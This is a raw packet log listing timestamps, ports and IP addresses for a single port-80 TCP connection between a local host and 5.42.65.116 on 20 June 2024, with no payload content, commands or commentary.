Jun 20, 2024 06:49:14.243859053 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.243859053 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.243882895 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.243899107 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.243917942 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.243949890 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.243979931 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.243982077 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.244014978 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.244046926 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.244071007 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.244071007 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.244071007 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.244081020 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.244086027 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.244113922 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.244129896 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.244146109 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.244183064 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.244184971 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.244211912 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.244216919 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.244251013 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.244276047 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.244276047 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.244283915 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.244318008 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.244350910 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.244362116 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.244384050 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.244427919 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.244452953 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.244452953 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.244461060 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.244515896 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.244522095 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.244549036 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.244581938 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.244592905 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.244632959 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.244663000 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.244663954 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.244716883 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.244724035 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.244749069 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.244765043 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.244782925 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.244798899 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.244821072 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.244853973 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.244884968 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.244894028 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.244894028 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.244894028 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.244919062 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.244951010 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.244951010 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.244982958 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.245013952 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.245021105 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.245021105 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.245021105 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.245048046 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.245079041 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.245085001 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.245085001 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.245111942 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.245150089 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.245150089 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.245157003 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.245189905 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.245227098 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.245250940 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.245259047 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.245271921 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.245291948 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.245312929 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.245325089 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.245356083 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.245388031 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.245398045 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.245398045 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.245398045 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.245420933 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.245440960 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.245455980 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.245487928 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.245532036 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.245532036 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.245532036 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.333391905 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.333430052 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.333483934 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.333517075 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.333529949 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.333529949 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.333565950 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.333569050 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.333601952 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.333636045 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.333648920 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.333648920 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.333668947 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.333703041 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.333734035 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.333749056 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.333749056 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.333784103 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.333813906 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.333818913 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.333852053 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.333867073 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.333884954 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.333920956 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.333956003 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.333956003 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.333970070 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334002972 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334034920 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334052086 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.334052086 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.334067106 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334099054 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334135056 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.334135056 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.334163904 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334192991 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334240913 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334242105 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.334275007 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334307909 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334340096 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334341049 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.334367037 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.334372997 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334405899 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334438086 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334455013 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.334455013 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.334471941 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334500074 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334528923 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.334528923 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.334531069 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334542990 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.334583998 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.334587097 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334619999 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334630966 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.334651947 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334683895 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334701061 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.334701061 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.334716082 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334748030 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334748983 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.334781885 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334814072 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334821939 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.334821939 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.334821939 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.334846973 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334856987 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.334878922 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334928036 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334942102 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.334942102 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.334959984 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334992886 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.334994078 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.334995031 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.335025072 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.335071087 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.335073948 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.335073948 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.335103035 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.335129023 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.335135937 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.335169077 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.335201979 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.335217953 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.335217953 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.335242033 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.335294008 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.335299969 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.335299969 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.335326910 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.335361004 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.335392952 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.335412025 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.335412025 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.335424900 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.335463047 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.335475922 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.335475922 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.335475922 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.335510015 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.335544109 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.335545063 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.335545063 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.335575104 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.335576057 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.335609913 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.335640907 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.335644960 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.335644960 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.335673094 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.335705042 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.335707903 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.335707903 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.335732937 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.335740089 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.335756063 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.335782051 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.335788965 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.335824013 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.335855007 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.335899115 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.335927010 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.335936069 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.335936069 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.335936069 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.335959911 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336005926 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336021900 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.336021900 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.336038113 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336071014 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336076975 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.336076975 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.336103916 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336136103 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336147070 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.336147070 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.336169004 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336200953 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336206913 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.336206913 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.336232901 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336265087 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336271048 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.336271048 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.336297035 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336330891 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336337090 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.336337090 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.336364031 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336380959 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.336396933 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336427927 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336457014 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.336467028 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336473942 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.336518049 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.336522102 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336554050 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336605072 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336627960 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.336627960 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.336637974 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336668968 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336702108 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336711884 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.336711884 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.336711884 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.336734056 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336766005 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336770058 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.336770058 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.336798906 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336802006 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.336831093 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336863041 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336880922 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.336880922 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.336895943 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336927891 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336960077 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.336961985 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.336962938 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.336962938 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.336992025 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.337001085 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.337024927 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.337055922 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.337099075 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.337099075 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.337099075 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.337104082 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.337136984 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.337163925 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.337169886 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.337204933 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.337204933 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.337238073 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.337259054 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.337270021 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.337301970 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.337333918 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.337348938 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.337348938 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.337368011 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.337402105 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.337469101 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.337469101 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.432221889 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.432389975 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.432406902 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.432424068 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.432455063 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.432472944 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.432511091 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.432559967 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.432591915 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.432622910 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.432655096 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.432689905 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.432725906 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.432748079 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.432748079 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.432748079 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.432748079 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.432748079 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.432748079 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.432758093 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.432791948 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.432826042 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.432836056 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.432893991 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.432895899 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.432928085 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.432971001 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.432971001 CEST	80	49743	5.42.65.116	192.168.2.4
